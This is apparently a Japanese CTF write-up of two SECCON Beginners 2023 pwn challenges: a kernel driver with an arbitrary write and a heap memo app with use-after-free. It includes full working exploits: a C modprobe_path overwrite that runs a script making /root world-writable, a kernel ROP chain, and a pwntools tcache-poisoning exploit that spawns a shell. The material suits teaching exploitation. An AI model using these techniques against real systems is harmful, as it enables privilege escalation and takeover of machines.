SECCON FOR Beginner 2023 Writeup (pwn)

今年も楽しくSECCONG for beginnerをやりました。
PWNを全完しましたので、難しめだった2問(カーネルとヒープ)のWrite upを書きます。

driver4b (19 solve)

簡単なカーネル問。
カーネル問ってコマンドが特殊だったりするので、チートシート的なの作ってないとすぐ忘れちゃうんだよね。
特に、SMAP、SMEP、kaslrを確認する方法。いや、qemuのコマンドのオプション見ればわかるけど、下記のコマンドでもわかる。
ことを忘れて時間を溶かしてたので、そんなことが無いように下記のコマンドのタトゥーを入れようと思います。

~ # cat /proc/cpuinfo | grep smep
~ # cat /proc/cpuinfo | grep smap
~ # 


~ # dmesg | grep "Kernel/User"
Kernel/User page tables isolation: enabled

まぁ上を見てわかる通り、SMAPもSMEPもない。
ただしKPTIが有効。

さて脆弱性だが、下記でわかる通り、任意のアドレスに任意のメッセージを書き込める。
具体的には、CTF4B_IOCTL_STOREで、カーネル内の領域 g_messageになんでも書き込める。
CTF4B_IOCTL_LOADで、任意の場所にg_messageから書き込むことができる。
だから、任意の場所に任意の文字が書ける。SMAPが無効だから本当に任意に書き込める。

static long module_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
  char *msg = (char*)arg;

  switch (cmd) {
    case CTF4B_IOCTL_STORE:
      /* Store message */
      memcpy(g_message, msg, CTF4B_MSG_SIZE);
      break;

    case CTF4B_IOCTL_LOAD:
      /* Load message */
      memcpy(msg, g_message, CTF4B_MSG_SIZE);
      break;

    default:
      return -EINVAL;
  }

  return 0;
}

KASLRも無効だから、もっとも簡単な方法は、modprobe_pathを書き換える方法だろう。解いたのはその方法だった。

#include "../src/ctf4b.h"
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>

void fatal(const char *msg) {
  perror(msg);
  exit(1);
}

int main() {
  char *buf;
  int fd;
  
  unsigned long modprobe = 0xffffffff81e3a080;

  fd = open("/dev/ctf4b", O_RDWR);
  if (fd == -1)
    fatal("/dev/ctf4b");

  buf = (char*)malloc(CTF4B_MSG_SIZE);
  if (!buf) {
    close(fd);
    fatal("malloc");
  }

  /* Get message */
  memset(buf, 0, CTF4B_MSG_SIZE);
  ioctl(fd, CTF4B_IOCTL_LOAD, buf);
  printf("Message from ctf4b: %s\n", buf);

  /* Update message */
  strcpy(buf, "/tmp/evil.sh");
  ioctl(fd, CTF4B_IOCTL_STORE, buf);

  /* Get message again */
  memset(buf, 0, CTF4B_MSG_SIZE);
  ioctl(fd, CTF4B_IOCTL_LOAD, modprobe);
  printf("Message from ctf4b: %s\n", buf);

  free(buf);
  close(fd);
  
  system("echo -e '#!/bin/sh\nchmod -R 777 /root' > /tmp/evil.sh");
  system("chmod +x /tmp/evil.sh");
  system("echo -e '\xde\xad\xbe\xef' > /tmp/pwn");
  system("chmod +x /tmp/pwn");
  system("/tmp/pwn"); 
  
  return 0;
}

これをgcc ./exploit.c -o exploit --staticでコンパイルして、--static忘れないでね。
リモート環境に送ればOK。aws上にwebサーバーを立ててリモートからwgetしてexploitした。

さて、当然この問題はAAWなので、解法はいくらでもある。

というか、最初modprobe pathを思いつかず、普通にkernel ropとkpti トランポリンしようとしてたけど、
なんか変な現象が起きて動かなかった。

こんな感じのスタックフレームでROPしていたんだけど、

   unsigned long *fake_stack_p = fake_stack;
  *fake_stack_p++ = pop_rdi;
  *fake_stack_p++ = 0x0;
  *fake_stack_p++ = prepare_kernel_cred;
  *fake_stack_p++ = push_rax;
  *fake_stack_p++ = pop_rdi;
  *fake_stack_p++ = commit_creds;
  *fake_stack_p++ = swapgs_restore_regs_and_return_to_usermode;
  *fake_stack_p++ = 0xdeadbeef;
  *fake_stack_p++ = 0xdeadbeef;
  *fake_stack_p++ = (unsigned long)&get_shell;
  *fake_stack_p++ = user_cs;
  *fake_stack_p++ = user_rflags;
  *fake_stack_p++ = user_rsp;
  *fake_stack_p++ = user_ss;

prepare_kernel_credに飛ぶときに何故か、下位4バイトしか反映されなかった。は?

これから、0xffffffff81093f00に飛ぼうとしてる。

いや0x3f00に飛ぶんかい。なんで?

これさえ通れば、多分この方法でもできるんだけど。
原因が全然わからなかった。

No_Control (15 solve)

ヒープ問題。いわゆるメモアプリである。

(base) ubuntu@ubuntu-virtual-machine:~/ctf/seccon4b/poem/No_Control$ ./chall 
1. create
2. read
3. update
4. delete
5. exit
> 1
index: 1
1. create
2. read
3. update
4. delete
5. exit
> 3
index: 1
content: aaaaaaa
1. create
2. read
3. update
4. delete
5. exit
> 2
index: 1
aaaaaaa

1. create
2. read
3. update
4. delete
5. exit

脆弱性だが、結構見つけずらかった。
下記の二つが脆弱性

1.mallocの初期化漏れ
下記で、mallocしてるけど、領域を初期化してないからfreeした領域を再びmallocしてreadすると、中身が見えてしまう。

void create_memo() {
    int idx;
    char *memo;
    idx = ask_index();

    if (idx < 0 || LIST_SIZE <= idx) {
        puts("Invalid index. now choose unused one.");
        for (idx = 0; idx < LIST_SIZE; idx++) {
            if (memos[idx] == NULL) {
                break;
            }
        }
    }

    if (LIST_SIZE <= idx) {
        puts("Can't find unused memo");
        return;
    }

    memo = malloc(MEMO_SIZE);
    memos[idx] = memo;

    return;
}

2.USE AFTER FREE
これ気づきづらかった。
下記、invalidだった場合でも、なんとmemoがnullじゃなければ動いてしまう。
しかもmemoが初期化されてなくて、deleteした直後のポインタがmemoに残っている。

void update_memo() {
    int idx;
    char *memo;
    idx = ask_index();

    if (idx < 0 || LIST_SIZE <= idx) {
        puts("Invalid index");
    } else if (memos[idx] == NULL) {
        puts("that memo is empty");
    } else {
        memo = memos[idx];
    }

    if (memo == NULL) {
        puts("something wrong");
    } else {
        printf("content: ");
        read(STDIN_FILENO, memo, MEMO_SIZE);
    }
    return;
}

さて、こんだけ脆弱性があれば何でもできるだろ、という気もするがセキュリティ機構がきつい。

pwndbg> checksec
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   55) Symbols	  No	0		3		/home/ubuntu/ctf/seccon4b/poem/No_Control/chall

RELROもあれば、PIEもある。

ということで、方針を考える。
まず、脆弱性1を使ってheapのアドレスを取得する。同時にfreeできるのは5個まで、かつmallocのサイズは
0x80なのでtcacheからheapのアドレスをリークできる。(safe linkingが有効なのでちょっとめんどい)

次に、heapのアドレスだけわかってもどうしようもないので、libcのアドレスを取得する。
これはどうすればよいかというと、freeを2回した後に、脆弱性2を使うことでtcacheのfdを書き換えて
tcache poisonningを使って、heapのほかののチャンクのサイズを改ざんして、freeをすることでunsortedbinに入れる。(いわゆるhouse of spirit)
unsortedbinに入ればlibcのmain_arenaのアドレスが手に入るので、脆弱性1を使って、libcのアドレスがわかる。
そのあとは、煮るなり焼くなりコロ助なりではあるが、libcのenvironをtcache poisonningで抜いてきてstackのアドレスを取得して、
tcache poisonningでstack内に領域を取り、systemを呼んだ。

難しかったのはunsorted binにぶち込むためのfreeで、防御機構をバイパスする必要があるところか。

from pwn import *

elf=ELF("/home/ubuntu/ctf/seccon4b/poem/No_Control/chall")
libc=ELF("/home/ubuntu/ctf/seccon4b/poem/No_Control/libc.so.6")

#p=process("/home/ubuntu/ctf/seccon4b/poem/No_Control/chall"
#          , aslr=True
#          ,env={"LD_PRELOAD" : "/home/ubuntu/ctf/seccon4b/poem/No_Control/libc.so.6"} )
p=remote("no-control.beginners.seccon.games",9005)

#gdb.attach(p)

def create(index):
    p.sendlineafter(">", "1")
    p.sendlineafter("index:", str(index))
    return

def read(index):
    p.sendlineafter(">", "2")
    p.sendlineafter("index:", str(index))
    return p.recvline()

def update(index, message):
    p.sendlineafter(">", "3")
    p.sendlineafter("index:", str(index))
    p.sendlineafter("content:", message)
    return

def delete(index):
    p.sendlineafter(">", "4")
    p.sendlineafter("index:", str(index))
    return

def cryptoSafelinking(pos, ptr):
    return (pos >> 12) ^ ptr

create(0)
delete(0)

# leak heap memory
create(0)
p.sendlineafter(">", "2")
p.sendlineafter("index:", str(0))
p.recv(1)
heapbase =  u64(p.read(5).ljust(8, b"\x00")) * 0x1000
log.info("heap base is:" + hex(heapbase))

# leak libc memory by make chunk into unsorted bin
# setup tcache poisonning
create(0)
create(1)
create(2)
delete(0)
delete(1)
update(1, p64(cryptoSafelinking(heapbase, heapbase + 0x440)))
create(0)
create(0)
update(0, p64(0x91) + p64(0x421))
create(1)
create(1)
create(1)
create(1)
create(1)
create(1)
create(1)
update(1, p64(0xdead) + p64(0xdead) + p64(0xdead) + p64(0xdead) + p64(0x420) + p64(0x421))
create(1)
create(1)
create(1)
create(1)
create(1)
create(1)
create(1)
update(1, p64(0xcafe) + p64(0xcafe) + p64(0xcafe) + p64(0xcafebabe) * 6  + p64(0x420) + p64(0x420) + p64(0x421))
delete(2)
create(0)
p.sendlineafter(">", "2")
p.sendlineafter("index:", str(0))
p.recv(5)
libcbase =  u64(p.read(6).ljust(8, b"\x00")) - 0x21A0D0
log.info("libc base is:" + hex(libcbase))
# chunk2 goes into unsorted bin!

# leak stack memory from libc eviron
create(0)
create(1)
create(2)
delete(0)
delete(1)
update(1, p64(cryptoSafelinking(heapbase, libcbase + libc.symbols["environ"])))
create(0)
create(0)
p.sendlineafter(">", "2")
p.sendlineafter("index:", str(0))
p.recv(6)
stackbase =  u64(p.read(6).ljust(8, b"\x00")) - 0x08 -0x120
log.info("stack base is:" + hex(stackbase))

# finary we hijack stack using tcache poisonning
create(0)
create(1)
create(2)
delete(0)
delete(1)
update(1, p64(cryptoSafelinking(heapbase, stackbase)))
create(0)
create(0)

pop_rdi = 0x0002a3e5
ret = 0x00029cd6
update(0, p64(0xdeadbeef) + p64(libcbase + ret) + p64(libcbase + pop_rdi) + p64(libcbase + next(libc.search(b'/bin/sh'))) + p64(libcbase + libc.symbols["system"]) )
p.interactive()

これでexitすればshellがとれるよ。